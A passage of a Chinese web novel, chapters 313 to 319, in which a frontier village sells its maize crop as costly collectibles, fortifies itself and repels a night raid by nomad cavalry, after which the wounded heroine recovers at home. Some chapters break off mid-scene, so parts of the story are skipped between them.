老哥,这玩意儿啊,在京城是用来盘的!” 高长天懵了,啥盘?盘啥? 朱钰猛地坐直了身子,把高娇娇吓了一跳,不由伸手拽他, “叔,你别激动。” 第三百一十三章 要发财了 “你怎么一点也不激动?” 朱钰自己冷静不了,对没啥反应的高娇娇一点也不激动更是不懂,难道这丫头不知道盘是什么意思? 仔细一想,好吧,他确实没跟她说过。 杜衡招了招手,高娇娇附耳过去,他压低声音道, “盘,就是把玩的意思,京城那边的权贵士族骄奢淫逸,又爱标榜身份,所以在吃喝玩乐上十分攀比。 尤其是在这个玩上,俗人玩斗鸡玩蛐蛐,雅人玩金石字画瓷器,还有各种少而精的稀罕物,比如葫芦、核桃。 盘,就是时常拿在手上把玩稀罕物的意思,能被当成稀罕物盘的东西,必然不是俗物。 简单说,就是你的番麦要卖上大价钱了!” 高娇娇瞪大眼睛,做出难以置信状。 心里其实跟明镜一样,她当然知道盘是什么意思,也知道自己这番麦要赚大发了。 可是吧,难免觉得荒诞。 原来野史也诚不欺人啊,玉米和辣椒这些外来物刚进来的时候,并未被当成食物,而是观赏植物。 只是,他们发现番麦的地方,已经培育了好几年,还是官田,在官府登记在册的。 难道不是官府为了培育粮种,而是有人假公济私培育文玩,好中饱私囊? 那那块地的原主人要是知道他们拿走了他的番麦,岂不是要找他们算账? 发财固然好,可也得有命花啊。 高娇娇揪住了朱钰的袖子,用求救的眼神看向他。 朱钰还在盘算高娇娇的番麦能卖到多少钱,既然是用来当文玩,那高铁峰竖起的一根手指肯定不可能是一百两,应该是一千两。 订金都能给到一千两的话,那全款怎么也得十倍往上了吧,也就是说娇娇的番麦能卖到一万两以上。 确实是笔巨款了,但是银子谁会嫌多啊,朱钰觉得高铁峰之所以愿意出到这个价钱,那他把番麦拉到京城肯定能卖更多钱。 所以他们多要一点也不是不可能,除了银子,或许他们还能要点别的。 被高娇娇突然拽住袖子,朱钰思绪被打断,皱眉看向她。 高娇娇小声道, “番麦的原主人,不会顺藤摸瓜找咱们算账吧?” 朱钰一愣,他知道要问高铁峰要点什么了,他们不能暴露,这个冤大头得让顾大将军当。 还有,他们要继续种番麦,夏收后只能他们村种,趁着这东西还值钱,先大赚一笔。 高铁峰有多么欣赏高长天的直爽仗义,就有多么反感朱钰的精明算计。 但番麦他是必须要拿到的,大将军还指着这批番麦赚取今年的军费呢。 高铁峰不由有些后悔,要是早知道他们真能种出来,还长这么好,一开始他就该低价订下来的。 唉,被徐进知道了,肯定又要笑话他目光短浅不会谋算了。 他一个武将,谋算个毛啊! 经过一番讨价还价,最终,高铁峰答应订金给到一千二百两,最终的成交价按番麦棒子的数量算,一个一两。 京城那边要是追查来源,就说是顾大将军个人名下庄子所产。 石楼村可以继续种番麦到明年夏收,再往后,番麦怎么种,哪些地方种,种多少,要听顾大将军安排。 高长天和高大壮等人都惊呆了,他们做梦也想不到番麦会这么值钱,一个棒子一两银子,这种哪儿还是粮食,这分明是种银子啊。 高娇娇还算淡定,暗暗盘算一亩地能产多少个玉米棒子,一般一棵上一个,也有两个的,一亩地保守估计也有一千多个。 要是一个一两的话,那她一亩地岂不是就能卖上千两了? 发了,发了! 这么多银子,她以后想怎么花怎么花,简直不要太爽了。 朱钰没那么开心,他知道这是一锤子买卖,下一批番麦不可能卖到这么高的价了。 物以稀为贵,番麦说到底还是庄稼,还是要用来填饱肚子。 但凡是当做食物的庄稼,朝廷就不可能让它太贵。 高铁峰生怕高娇娇他们光顾着高兴,忘了重点,再次强调道, “一两银子一个的番麦棒子,必须外形好看,颗粒饱满,大小适中。 最重要的是颗粒要排列大小均匀,纯色最好,杂色不是太花也还凑合,但绝对不能有黑粒坏粒。 还有采摘时节,不能太嫩,更不能太老。 我们要一一验货,有问题的我们可是不要的。” 高娇娇点头如捣蒜, “你们放心,我种的番麦都好的很。” 这上面她可是有十足的信心,那十来亩番麦她可是当祖宗一样打理的,从播种到除草施肥浇地,半点也没偷懒过。 真是恨不得一天看三遍,生怕出问题。 高铁峰这次没有留下过夜,吃过饭,签了文书,付了订金就急匆匆赶往下一个村了。 高娇娇举着那张一千两的银票对着光左看右看,稀奇的不得了。 纸张一点也不透亮,还有些发黄,看着有些粗糙,但摸上去很光滑。 不像是纸的手感,更像是猪皮一样滑溜溜,朱钰说这是涂了防水防霉的漆。 上头写着一行挺吓人的字“伪造者处死”,中间明确标注了金额“壹仟两”,下头还有官方的印章。 四周边缘上有一些看着很好看的复杂花纹,朱钰说是密押,相当于密码,兑换的时候要同存的那张的花纹,严丝合缝对上才能保证是真的。 高娇娇觉得这样的防伪未免也太简单了,找个画画好的就能伪造。 朱钰看出了高娇娇的不以为然,淡淡说了句, “凡伪造银票者,一经发现,诛杀九族。” 高娇娇顿时明白为什么没人这么干了,原来是要冒着诛九族的风险啊,那确实是不敢。 朱钰觉得高娇娇还不明白,又提点了她一句, “但凡大额银票兑换,都需要预约,钱庄还通知存入票号的原持有者,进行确认。” 高娇娇愣了愣,很是不爽道, “所以,高将军是故意给我这么大额的银票,我只要拿去兑换他立马就能知道?” 朱钰没点头也没摇头,只慢悠悠继续扇着扇子,表示默认。 高娇娇气鼓鼓道, “高铁峰看着像是个粗人,没想到心眼还挺多,还没怎么着呢,就先提防上咱们了。” “卧榻之侧,他作为一方守将,小心一些也正常。” 朱钰难得没跟着挤兑,反倒劝了高娇娇一句, “木秀于林风必摧之,你啊,发了笔大财,接下来可得小心一点。” “知道啦,等到番麦卖了,下一季我就不种了,把番麦种子分给别家。” 高娇娇不是个贪财的人,也没有很大的野心,想要钱不过也是为了让自己的日子好过点,把村子建的更安全。 朱钰很是欣慰,合起扇子敲了下高娇娇的脑袋,满意道, “孺子可教。” 高娇娇把一千两银票藏好,把另外一张二百两的银票给了高大壮。 高大壮看着塞到手里的银票,如同接到了烫手山芋,立刻就要塞回给高娇娇。 第三百一十四章 做好应对 高娇娇推了回去,强势道, “给了你就拿着,我最讨厌让来让去了,就当是我买你番麦种子的钱。” “那怎么行,一点种子哪儿值这么多钱,你赚点钱也不容易,赶紧自己收好。” 高大壮坚决不肯,高娇娇头疼不已,想了下,扭头大声冲屋里嚷, “你要是不要这二百两,我可就不认你这个大哥了——” 声音还没落地,缠着头巾的刘小翠就从屋里蹿了出来,一把夺过银票,连声道, “孩他爹你怎么做大哥的,小妹都这么说了,还不赶紧收着?” 说完,就赶紧塞进了怀里。 头不疼了,腰不酸了,心口也不堵得慌了。 高大壮觉得丢脸,张嘴就要呵斥刘小翠,高娇娇却已经笑着道, “还得是大嫂,干脆利落,大哥你别整天磨磨叽叽的,跟大嫂学着点。” 刘小翠被夸的眉开眼笑,高大壮无奈扶额。 高娇娇觉得姜还是老的辣,娘说大嫂是个顺毛驴,心思简单的很,今天一试,还真是。 不同于高娇娇的开心,高长天等人对蛮夷入侵担忧的很。 第二天晚上把所有小队长都叫过来商量,首先就是加强巡防,其次是提高防护。 高长天决定把那堆从官兵手里缴获的头盔什么的熔了,让常铁柱尽快打造出一批他们自己的头盔出来。 再想办法编一些藤甲出来,还得配备护心镜,尽量多的准备羽箭,训练女人和孩子使用弹弓攻击,做好应对蛮夷入侵的充足准备。 除了这些,还要挨家挨户叮嘱村民,管好自家的孩子,不要再跟之前那样漫山遍野乱跑。 所有人都要在巡逻范围内活动,出入村子都要提前打招呼,带外人进村也要说一声。 还有就是家里有水车的都要储存水,没水车的也要多买几个水缸,储存足够多的水,以防蛮夷放火来不及扑灭。 为了以防万一,村里会在山里的水源处,和另外一个秘密地点,设立避难所。 避难所里会提前存放能维持二百人生活十天所需的东西,如果水源处暴露,高长天他们会在最后一刻将另一个避难所位置告诉大家伙。 在此之前,绝不会透露半分,大家也不要想着打听了,那是万不得已之时才会去的地方,是大家最后的退路,要绝对保密。 安排好一切,高长天就让各小队立刻行动。 朱钰提醒小队长们, “叫你们过来商量,是让你们知道事情的严重性,知道要如何应对。 但蛮子只要一天没来,你们就要保持淡定,不管心里有多慌,面上都要成竹在胸。 你们若是慌起来,下面的人就更慌了,别蛮子没来,自己就先乱了套。” 一众小队长纷纷点头应是,散去各自行动起来。 高娇娇也被安排了任务,她现在的身份很特殊,不是小队长,却凌驾于小队长之上。 但凡是交到她手里的,都是关系着全村命运的重要任务。 这次她的任务是深夜带人把物资运送到土匪窝,那里被他们清剿过后,衙门又派官兵来清理了一回。 高娇娇以为这个土匪窝已经废弃了,没想到朱钰等到衙门不再在意这个地方后,就派人偷偷过去打理。 现在土匪窝不仅恢复了原来的三道山门,还重新加固了一番。 土匪窝后面的山地里还种了粮食和菜,负责照料的居然是想加入他们的村,但是被拒绝的几个流民。 老的老,小的小,唯一一个勉强算得上劳动力的,还少了一只手。 不过好在都很老实听话,还很知道分寸,看到高娇娇带人上来,一个字也不多问,让干嘛就干嘛。 想来这也是朱钰之所以挑中他们的原因,把他们安排在这个山寨上,也算是给了他们一条活路。 将带来的粮食和药材等东西存放好,高娇娇带着杜映梅等人四处查看了一番,确定没有任何问题后,就连夜去了岚县。 这个地方不能让太多人知道,所以高娇娇对外谎称进城采买东西。 连夜带着杜映梅她们赶到岚县,采买了一堆油盐酱醋和精米白面,还有熏肉熏鸡点心果子,装了满满两车回了村。 村里不知情的人羡慕的有,嫉妒的也有,但更多的还是满心期待着自家下一季种出来了番麦,也能卖个好价钱,大赚一笔。 回到家,高娇娇让杜映梅整理东西,自己跑去找到姚春香,献宝一般从背篓里取出一个东西。 姚春香看着被布包的严严实实的盒子,很是好奇, “这是个啥?看把你给宝贝的。” “可不就是宝贝嘛,就这个玩意,花了我三十两银子呢。” 高娇娇神秘兮兮解开布,拿出盒子打开。 姚春香一看,一盒子指甲盖大小的黑疙瘩。 拿起一个捏了捏,硬的,再一看,哦,铁珠子啊,再一想,急了。 “就这么点玩意儿要你三十两银子? 快跟娘说,哪个王八蛋卖给你的? 这不是明摆着见你年纪小,坑你呢嘛!” 高娇娇赶忙解释, “娘,这可不是一般的铁珠子,这是专门用来打弹弓的铁珠子。” 姚春香瞪眼,看高娇娇跟看傻子一样, “闺女,打弹弓的珠子跟普通的铁珠子能有啥不一样啊?” “更圆,更重,里头加了铅,用这个,可以打穿五丈外的门板。” 高娇娇说着,拿出来一个给姚春香演示。 只见她拉长弹弓,嗖的一下,射出一枚铁珠子。 “咚”一声闷响,铁珠子深深嵌入了院墙上。 姚春香震惊地瞪大了眼睛,她们站的地方离院墙大概四丈远,院墙是用大小石头混着泥沙砌成的。 娇娇射中的不是石头与石头之间的缝隙,而是石头正面上。 石头都能扎个洞,那要是打到人的脑袋上,岂不是要打穿了? 意识到这东西能杀人,姚春香不由紧张了起来,握紧木盒问高娇娇, “这里头,一共有多少颗?” “三百,一颗一百文,要不是发了笔大财,我都不舍买。” 高娇娇说着,蹬蹬蹬跑到院墙旁,用匕首把她射进去的那颗挖了出来。 仔细一看,摩擦痕迹很明显,但是还没破,还能用。 顿时觉得这钱花的也值了。 可姚春香把一盒子铁珠子都拿走了,一颗也没给她留。 说这玩意儿太危险,不能随便拿出来,只有等蛮子打来了才能用。 还说她每天都会拿出来数一数,少一颗就要找高娇娇算账。 高娇娇心里苦,她这钱花的也太冤枉了。 好在十来天过去,蛮子没来,给她送钱的人来了。 高铁峰亲自带人过来收番麦,挨个检查,还拿个尺子比划,看的高娇娇顿觉不妙。 果不其然,才验收了一筐,就挑出来半筐不合格的。 高娇娇心疼的直抽抽,她还以为一亩地怎么也能卖上千两,现在看,五百两都够呛。 不就是大了点长了点短了点圆了点嘛,又不是颗粒不够饱满,怎么就不行了? 可高铁峰铁面无情,不管高娇娇怎么说,就是不行。 眼看着被淘汰的番麦越来越多,这么下去,自己损失惨重,高娇娇灵光一闪,给高铁峰出了个主意。 “你们直愣愣把番麦扒了皮卖多没意思啊,你见过人家卖玉石的没? 听说人家都是不开的,直接把原石摆出来让买主自己选,选上哪个开哪个,一刀下去,要么赔个精光,要么赚个大发。 你听听,多刺激,谁能忍住不买? 花一点小钱就能赚个金山,搁到你,你不想试一试? 所以啊,你们也搞点花样嘛,别把番麦都扒了皮卖,也留一些让买主自己扒皮玩。 一百个里头混着三五个好的,扒出来的开心,没扒出来的不甘心。 这样才能让买主抢着买,多多的买,是不是?” 第三百一十五章 蛮子来了 高铁峰被说动了,愿意买下被淘汰的番麦棒子。 但是一个只给一百文,高娇娇嘴上夸高铁峰英明睿智,心里却忍不住骂他抠门,一下子砍到十分之一,真是高扒皮。 可不管怎样,这些番麦还是让高娇娇一夜暴富了。 一共到手七千两银子,只要她不胡折腾,足够她舒舒服服过一辈子。 银钱到手的第一时间,高娇娇就给了高长天三千两银票,把高长天吓了一跳,当即就要推回给她。 高娇娇不等高长天开口,就抢先道, “爹,就当我借给村里的,赶紧买砖回来建大门和瞭望台吧,光指望加强巡防我觉得不行。” 高长天要把银票还回去的手顿住了,朱钰也帮着劝道, “大哥,娇娇说的对,咱们当务之急是防范蛮子入侵。 莜麦眼看就要成熟了,蛮子要是冲进来,不管不顾直接往地里放火,咱们该如何抵挡?” 高长天不由打了个寒噤,攥紧了银票,让老王给高娇娇写了张借条。 这笔银子,等下一季村里的番麦卖了,他一定想办法还给闺女。 不缺银钱,不缺劳力,建起来自然飞快 只用了五天,村口就建起一道三十几丈长,一丈来高的围墙,把村子正前方挡的严严实实,只能通过大门进出。 在围墙四周还建了两座瞭望台,瞭望台上视野开阔,站在瞭望台上不仅可以看到清楚官道上的人来人往,还能看到村后山坡上的动静。 就是风有些大,高娇娇亲自上去试过,以她的臂力,站在瞭望台的箭楼上,顺风时用长弓可以射中三百步以内的目标,逆风时只能射到二百五十步左右。 高大壮他们保守估计也射中二百步以内的目标,只要安排得当,他们完全有能力在蛮子入侵时放箭挡住第一轮进攻,为接下来的防守争取时间。 再配合围墙外的三道陷阱,围墙内的两道埋伏,以守待攻,即便对上跟在山里遇到的那群黑衣人一样厉害的蛮子小队,他们也有很大的胜算。 但前提是,他们能够及时发现敌人的踪迹。 高长天安排四人一组,日夜在瞭望台上轮值,一旦发现敌袭,就鸣镝示警。 响箭自然也是常铁柱打造出来的,但图纸是朱钰画的,他对这些杂七杂八的东西都很精通。 不仅绘制了详细的响箭图纸,还教常铁柱改良了他们现在用的羽箭箭头,用添加其它矿石,分段熔炼的方式,使得箭头不仅更锐利,而且杀伤力更大。 常铁柱一开始很害怕,做为铁匠世家传人,他很清楚私自打造兵器是视同谋逆的重罪,一旦被人发现,要被株连九族的。 可朱钰仅用一句话就打消了常铁柱的顾虑,他说, “蛮子要是杀进来,你们一家也得死,别说九族了,马上就灭族了,你还犹豫个屁。” 常铁柱一想也是,现在这世道,哪儿还顾得上以后,先顾好眼前吧。 即便被发现,也不是他一个人承担,还有里正和朱先生他们顶在前头呢。 想通后,常铁柱就开始积极锻造武器,不仅自己拼命干,还拼命教徒弟,恨不得一下子就把全部手艺传给徒弟,让徒弟亲手打出来武器。 这样也能多一个同伙,有人分担,总比自己扛着要容易一些。 村里人多,日夜轮值也能排的开,更何况值夜的还有宵夜。 宵夜是姚春香亲手做的,不仅味道好,还顿顿都有肉,弄得大家伙都抢着值夜班。 如此这般又过了五六天,莜麦眼看就要收割了,蛮子也没有任何动静,大家不由有些懈怠起来。 有人说蛮子可能是怕了,知道顾大将军亲自守在宁武关,不敢来了。 也有人说可能是高将军加强了防范,蛮子找不到可乘之机。 还有人说咱们村凶名在外,蛮子见又是围墙又是瞭望台的,觉得不好惹,就去啃别的地方的软骨头了。 高娇娇觉得高将军都专门过来提醒了,蛮子想来不会那么容易放弃。 高长天他们也是这么觉得,小心使得万年船,还是要加强防守,尽快把莜麦收入库房才行。 又紧赶紧忙了一天,终于把所有莜麦都收割了,运到了麦场,高长天拖着疲惫的身体回了家,简单冲洗了下就上床睡了。 刚睡着没一会儿,就听到一声急促的鸣镝。 他噌的一下坐起了身子,姚春香也被惊醒,颤声问道, “老头子,是不是,是不是蛮子来了?” “你赶紧带着老弱妇孺进后山,一定要看紧孩子们,咱们的人不过去,你们千万别出山。 要是,这边守不住,我会让娇娇带你们去另一个避难所。” 高长天沉声叮嘱了句,抓起衣服披在身上就冲了出去。 姚春香来不及想别的,赶紧按照之前商量好的,挨家挨户喊人,赶紧一起进山躲避。 高娇娇也在听到鸣镝的第一时间,抓起这段日子一直放在床头的弓箭和大刀,冲了出去。 杜衡做梦也没想到蛮子会在他回来休假时闯入,他昨天傍晚还信誓旦旦跟高大伯他们说,蛮子应该不敢进攻了。 因为他夫子的好友来信说汝州府已经攻下,暴民作乱已经平息,平叛大军不日即将返回。 蛮子不会这么想不开,在这个时候跑来打草谷,要是和平叛大军撞上,就是自寻死路。 哪知蛮子这就来了,还来势汹汹,他已经听到了三声鸣镝声。 按照夜间巡逻的示警约定,鸣镝声越多越急促,就表明敌人来的越多进攻范围越大。 三声鸣镝,来犯的蛮子肯定超过五十人了! 比那次在山里的还多,杜衡不由有些慌,本能跟着高娇娇往外跑。 高娇娇听到脚步声,回头看到杜衡两手空空衣衫不整跟在自己身后,瞪眼吼道, “你跟过来干啥?赶紧回去把小梅和孩子送到我娘那边,护送他们进山去!” “我,我,你——” “别你你你我我我了,赶紧回去!” 高娇娇吼了声,转身跑的更快了。 杜衡只得停下,扯着嗓子冲高娇娇喊, “你小心点!” “知道啦——” 高娇娇头也不回,声音被周围的嘈杂声冲的七零八落,让杜衡悬着的心更加没着没落。 看着举着武器从各个院子里跑出去,头也不回冲向村口的青壮们。 再看看虽然十分慌乱,但在姚春香和罗子娘等人的指挥下,还算井然有序的妇孺老人,杜衡用力咬了下唇,收回视线,转身跑回去做自己该做的事。 高娇娇一口气冲上瞭望台,负责今晚值夜的石小山见她过来,心里莫名就安定了不少。 高娇娇眯着眼睛往远处望去,只见一道火龙正顺着村口小路朝他们这里迅速靠近。 今晚天阴夜色漆黑,伸手不见五指,那道火龙格外显眼,她似乎都能闻到火把燃烧散发的刺鼻气味。 气味? 高娇娇愣了愣,火龙离他们还有几十丈远,即便风再大,火把上的动植物油燃烧时的气味,传入她这边也应该很淡了才对。 可是—— 高娇娇深吸了口气,脸色大变,急忙对石小山道, “快去告诉我爹和朱叔他们,蛮子用了猛火油!” 石小山听闻“猛火油”三个字,也是脸色大变,不敢耽搁,急忙跑去找高长天他们。 猛火油这个东西,还是朱钰在做应战准备时,跟高娇娇他们普及的。 那天他说了一通火攻最不好对付,如果蛮子发起火攻我们要如何抵挡,如何提前做好防御后,提到了猛火油。 他说比起其它火油,最难扑灭的是猛火油,因为猛火油威力极大,还有遇水会炸的特性,一旦遇上,不能浇水,只能用灰土沙尘覆盖。 而且被溅上了猛火油的东西,燃烧起来也飞快,所以一旦遇上,一定要小心别被溅到身上。 见大家害怕,他最后还安慰了句,说猛火油要用的石漆不容易得到,多为外邦贡品,想来蛮夷也是没有的,不用太担心。 可现在,蛮夷不仅有,还用来对付他们了。 第三百一十六章 猛火油 高娇娇真的很想骂一声,贼老天真是不开眼,这是变着法玩他们啊! 高长天和朱钰得知蛮夷有石漆,也是心头一震。 赶忙又加派了一队人马,去孟门关搬救兵,生怕已经出发的高三壮他们遇到带着石漆的蛮子打不过。 高娇娇让人搬来几袋沙子,命弓箭手在各自位置上守好,一旦身上沾上猛火油,不要乱喊乱叫,更不要乱跑,赶紧在沙子堆里滚几滚。 众人点头散开,眼看敌人越来越近,大家都屏气凝神弯弓搭箭,准备好随时应战。 高娇娇站在最前端的箭口,紧紧盯着村口的动静。 月色漆黑,火把明亮,马蹄声像是要踏破黑夜一般,踏踏踏踏敲的人心弦紧绷。 高娇娇也不免觉得紧张,心突突直跳,嗓子眼干的厉害。 她深吸了口气,用高长天教的办法,竖起耳朵仔细分辨,一,二,三,四....... 五十七匹马,这个数字让她的心不由又往下沉了几分。 若无意外,寨门外的陷马坑应该拦不住这么多敌人,希望绊马索能管点用,别让这些人一下子都冲到寨门跟前。 近了,更近了。 所有弓箭手不由都看向高娇娇,等着她发号施令。 高娇娇紧紧盯着下面,她还在等。 逆风,又是黑夜,必须在一百步以内,弓箭手才有百发百中的把握。 对方人多势众来势汹汹,他们必须一击即中,才能压制住敌人的攻势。 “驾!” “吁——” “砰!” “咚!” “啊——” ....... 就在蛮子想要横冲直入杀进石楼村,还没看清眼前那一长条黑漆漆的东西是什么玩意时,跑在最前头的三匹马就重重摔了下去。 带倒了后面的四五匹马,惊到了再后头的大部队,一时间,马叫人吼,乱成一团。 领头男子沉下了脸,立刻用力勒紧缰绳,喝令身后众人停下。 高娇娇见蛮子不肯再上前,立马下令放箭。 领头男子正要派人去前头查看情况,就听到箭矢呼啸而来的声响,急忙大喊,拔出佩刀抵挡。 高娇娇嗖嗖嗖三箭齐发,直冲领头男子正脸、侧腰,以及身下战马的脖子射去。 男子偏头躲过上面那一箭,挥刀劈开中间那一箭,却再也无法驱动马儿躲开最后那一箭。 只能眼睁睁看着马儿中箭倒地,自己也险些栽倒地上摔个倒栽葱,不由气的大吼。 第三百一十七章 难杀 到了近身肉搏的时候,还是得看真正见过血的人。 一起逃荒过来的高大壮、罗子等人跟着高娇娇,举着武器嗷嗷叫着往前冲,挥舞着大刀跟蛮子对砍。 即便砍的火星四溅,刀刃都卷了边,也依然不退缩,勇往直前。 陆天弘和常铁柱等后加入的,就有些犹犹豫豫不敢上前了。 近距离看蛮子,更觉得吓人,那个头,那肩膀,一个个都壮的跟熊一样,骑在马背上,好像都把马给压下去了一截似的。 他们桀桀笑着,挥舞着弯刀,一刀下去,就险些削掉石小山的脑袋。 吓的石小山后背发寒,急忙就地一滚,狼狈躲闪。 高娇娇一脚踹飞被自己长刀刺穿的蛮子,扭身一个纵跳,挡住了蛮子砍向石小山的下一刀....... 刀刃相接,发出刺耳的碰撞摩擦声。 高娇娇被震的手臂发麻,她咬着牙,继续跟对方硬碰硬。 这个时候,她不能躲更不能避,她后面是石小山,是高大壮,是并肩作战的同伴。 她只能拼尽全力,杀死敌人。 一刀又一刀,一个又一个,高娇娇已经记不得自己杀了几个蛮子了,她只知道这些蛮子真难杀。 比之前杀过的蛮子还难杀,他们力气很大,速度很快,哪怕在马背上也十分灵活,马还非常听他们的话,即便受了伤也不会乱跑乱窜,还能配合着他们继续作战。 这是真正上过战场,身经百战的精锐骑兵,他们每一招都是杀招,他们杀过的人可能比她见过的人都多。 交手连一刻钟都不到,高娇娇这边就已经有好几个人受伤了,吴亮伤的最重,肩膀和胸前各挨了一刀,血把半边身子都染红了。 高娇娇心里不由急的慌,同伴一个个倒下,蛮子步步逼近,他们不断后退。 再退就要退到桥边了,桥边的仓库里还堆放着粮食,过了桥,可就要进村了。 稍微一分神,就差点挨了一刀,高娇娇整个身子往后仰,才险险避开了对方的刀锋。 可下一瞬,一支短箭朝她心口飞射而来,速度极快,距离近的她根本来不及躲闪。 危急关头,高大壮猛地扑了过来,将高娇娇扑倒在地,短箭擦着高大壮的发髻飞了过去。 把刘小翠花了大价钱从城里给高大壮买的玉簪,直接射断,掉落在地上碎成了好几段。 高娇娇吓出了一身冷汗,也被逼出了杀气。 她一咬牙翻身爬起,跟被激怒的牛犊一样朝那个放冷箭的蛮子头领冲了过去,一刀劈开试图阻拦她,想要保护头领的蛮子小兵。 直接一脚狠狠踹上了蛮子头领骑的马的肚子上,这匹马本来就是蛮子头领抢下属的,他原本的那匹马早就被高娇娇射穿脖子倒地死了。 高娇娇一脚下去,蛮子头领连马带人都被她给踹翻了。 马悲鸣一声,吐血倒地再也爬不起来。 蛮夷头领在最后一刻猛地一跳,躲开了被马压断腿的危机。 他狼狈从地上爬了起来,还没站稳,高娇娇就已经冲到了跟前。 她双手举着长刀,跟剁骨头一样用力挥下,一刀接着一刀,疯狂的朝着蛮夷头领的脖颈上砍,一边砍一边骂, 第三百一十八章 喂饭 朱钰笑了, “老王啊,咱们村,还是你跟我最有默契。” 老王的心一下子安定了,看来,来的还真是援军啊! “姑姑,姑姑.......” 熟悉又有些陌生的喊声,让高娇娇紧绷的心神一松。 夜幕中,一个人骑着马朝他们飞奔而来,渐渐那人的样子越来越清晰,高娇娇的眼角眉梢不由露出欢喜笑意。 “大宝?” “是大宝!” “就是大宝!!” “咱们的人来了,杀了这帮猪狗不如的牲口!” “杀!” “别让他们跑了!” ....... 一片喊杀声中,高娇娇看着飞奔到自己面前的高大少年,数月不见,瘦了一大圈不说,下巴居然还长了几根小胡子。 高娇娇嫌弃地伸手扯了扯,疼的高大宝呲牙咧嘴,一个劲儿喊, “疼疼疼,姑姑,你轻点啊。” “臭小子,你可算是回来了.......” 高娇娇笑着拍了拍高大宝的脸,下一瞬只觉得眼前一黑,就软绵绵倒了下去。 高大宝吓坏了,刚赶过来的高长天也吓了一大跳。 等到再次醒来,高娇娇发现自己已经躺在家里的炕上了。 环顾四周,高小寒和高小黄头挨头睡在她脚边,一人一猫都打着均匀的小呼噜,睡的十分香甜。 屋里光线有些暗,也不知是阴天,还是天还没大亮。 高娇娇想要起床看看,可手刚撑着床使劲,就被疼的直吸气。 举起手一看,两只手上都被裹上了纱布,再一看,腰和大腿上也缠上了纱布。 轻轻一摁,呼,好疼。 她这才后知后觉想起自己好像受伤了,虎口裂开了,被蛮子的刀尖划到了腰上。 至于大腿和肩膀上的伤是怎么来的,她忘了。 门帘被掀开,杜衡顶着两个大大的黑眼圈走了进来,见高娇娇要起床,急忙拦着她道, “你别乱动,感觉怎么样?伤口还疼吗?头晕不晕?要不要喝水?” 高娇娇摇了摇头,视线在屋里搜索了一圈,皱眉问道, 第三百一十九章 升官了 杜衡嘴上说着, “这会儿已经不早了,你吃完饭还得喝药,小刘大夫说那个药喝了会有点反胃,不让你吃太饱。” 可手上还是忍不住又从陶罐里盛了半碗粥出来,继续喂给高娇娇。 又吃上了,高娇娇很是开心,笑眯眯跟杜衡商量, “我明天早上不想喝粥,我想吃汤面,煎个鸡蛋,放点青菜,放一点醋,再放一点茱萸油——” “茱萸油不行,那个辛辣刺激,你有伤吃不了。” “就一点点。” “一点也不行。” “我身子骨好的很,不用那么忌口。” “不行,没商量,你想都别想。” “杜小二,你知不知道,你有时候真的很不可爱。” “我一个大男人,要那么可爱作甚?” “你才十六,能不能不要这么老气横秋?” “你才比我大半年,别总把我当小孩。” “臭小子,长嫂为母懂不懂?” “不懂,明天给你炖鸡汤。” “真的?” “真的,快把最后两口蒸鸡蛋吃了,一会儿凉了腥。” “这个鸡蛋蒸的有点老,不好吃。” “知道啦,明天我给你蒸嫩点。” ........ 杜映梅站在门口,听着屋里的对话,撩门帘的手迟迟没有动。 二哥,他是真的很喜欢嫂嫂啊。 可那是嫂嫂,是大哥的媳妇啊,唉........ 杜衡说到做到,次日一早天不亮就起来把鸡汤炖上了。 等高娇娇一觉睡到天大亮,起床就喝到了清甜的鸡汤。 看着一点都不油腻很是清亮,喝着还有些甘甜的鸡汤,高娇娇很是惊奇, “你是怎么炖的,怎么这么好喝?” “把油撇干净,放了茅草根。” 杜衡见高娇娇喜欢喝,很是开心,但面上不显,还是跟往常一样温声细语道, “小刘大夫教我的,说茅草根祛湿除热,天热,怕你喝鸡汤上火,就放了点,没想到味道还不错。” 高娇娇不遗余力夸赞道, “何止不错,简直是极品美味,你这手艺,将来即便考不中,也能开个饭馆了。” 她本是随口打趣,哪知杜衡却一脸认真道, “我会考中的。” 高娇娇愣住,杜衡却生怕她不信,认真到有些严肃道, “我一定会考中的!” 高娇娇看着杜衡明亮黑眸深处即将冲出来的炙热,不知怎地有点慌,有点不知所措,只得愣愣点头道, “你这么聪明,读书又用功,肯定会考中的。” 杜衡眼眸更加明亮火热,他遏制不住心口汹涌澎湃的情愫,脱口而出, “等我考中了,你能不能——” “姑姑!” 话没说完,就被突然冲进来的高大宝给打断了。 杜衡眼中的火光顿时熄灭了,长长的睫毛垂落下来,抿着唇,看着竟有几分委屈可怜。 高娇娇被弄的心里有点乱,本能不想去探究这背后的深意,转而笑着招呼高大宝坐下。 高大宝一屁股坐在炕上,张开手就把高娇娇给搂住了。 高娇娇懵了,杜衡急了,忍不住伸手去拽高大宝, “你干嘛呢?她身上有伤,你别压着她伤口了!” “我小心着呢,没碰着她伤口。” 高大宝不满地嘟囔了句,不肯松开手,把脑袋埋到高娇娇肩膀上,闷声道, “姑姑,你昨儿真是吓死我了,还好你没事。” 高娇娇心里一酸,抬起手,用没受伤的地方轻轻蹭了蹭高大宝的头。 高大宝跟小时候一样也蹭了蹭她,这才松开了手。 见杜衡跟个监工一样瞪着眼还拉着他胳膊不放,没好气道, “你别盯着我了,我跟我姑姑说会儿话,你该干啥就去干啥吧。” 杜衡白眼翻上天,没好气道, “你没看见我正喂她吃饭呢嘛,要说话等会儿着。” 说着,挤开高大宝,坐回离高娇娇最近的位置,拿起汤碗递到高娇娇嘴边。 高娇娇想说鸡汤又不是粥,她可以用手腕捧着碗自己喝,这么久没见了,她也想跟大宝好好叙叙旧。 可看到杜衡紧绷的脸,拧着的眉,直愣愣盯着自己的黑亮眼眸,她还是没敢开口,乖乖把汤喝了把肉吃了。 杜衡这才满意了,收拾了碗筷去厨房熬药。 高大宝往高娇娇跟前挪了挪,一点也没有背后说人坏话不对的自觉,张嘴就跟高娇娇抱怨了起来, “杜衡现在怎么这么凶,读书读的人都变刻薄了,我又不是不会喂饭,我也能喂你喝汤。” 高娇娇听得头疼,以前没接触过也不了解,现在接触多了,觉得男人的心眼也没多大,也挺爱争风吃醋的。 高大宝过来一是探望高娇娇,二是告诉她一个好消息。 “姑姑,我当上校尉了,任命文书啥的过几天就下来了。” 高娇娇很是高兴,忙问高大宝是怎么立的功,以后要在哪儿当差。 说起战场上的事,高大宝的脸色不由变得沉重了起来。 此次平叛,他一开始是跟着运粮队,后来机缘巧合得到了顾小将军的赏识,当了他的护卫。 亲眼见识了这场战争最残酷最惊心动魄的场面,受到了极大的冲击。 